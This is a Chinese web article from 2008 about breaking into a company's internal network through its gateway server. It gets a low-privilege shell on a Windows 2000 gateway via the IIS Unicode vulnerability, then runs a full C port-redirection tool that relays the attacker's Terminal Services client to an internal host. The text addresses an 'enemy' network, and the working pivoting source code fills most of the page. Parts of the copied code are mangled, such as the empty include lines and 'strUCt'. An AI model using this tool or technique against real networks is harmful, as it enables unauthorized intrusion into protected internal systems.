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从源程序看原理:突破防火墙入侵内网

 2008-03-08 21:39:51 来源:WEB开发网   
核心提示:现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,从源程序看原理:突破防火墙入侵内网,然后用一台服务器做网关,服务器两块网卡,把从client接收到的数据发送到target if(FD_ISSET(sock[1],&fdwrite)) { //转发数据
  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。 也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程治理工具,不是吗?呵呵。没有做非凡说明的话,文中提到的服务器OS都为windows 2000。服务器为linux或其他的话,原理也差不多,把程序稍微修改就行了。

  第一部分:利用TCP socket数据转发进入没有防火墙保护的内网

  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/ip限制。

  我们的目标是连接上敌人内网的Terminal

  Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太轻易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。


  攻击流程如下:

  <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

  <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

  <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

  <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

  程序代码如下:
/*
Module Name:AgentGateWay.c
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
*/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//监听端口
#PRagma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本机监听的socket
sock[2];
strUCt sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWord dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);

Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);

Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);

if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循环
while(1)
{
printf("\n\n*************Waiting Client Connect
to**************\n\n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/******
Module:TCPDataRedird.c
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
********/
#define BuffSize 20*1024 //缓冲区大小20k 
//此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

{
printf("\nselect() failed:%d",GetLastError());
break;
}
//printf("\nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from sClinet.",iRet);
//把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
//清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to target failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循环
return 0;
}
//此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;

while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from target",iRet);
//把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
//client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
//发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to Client failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;

}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}

Tags:源程序 原理 突破

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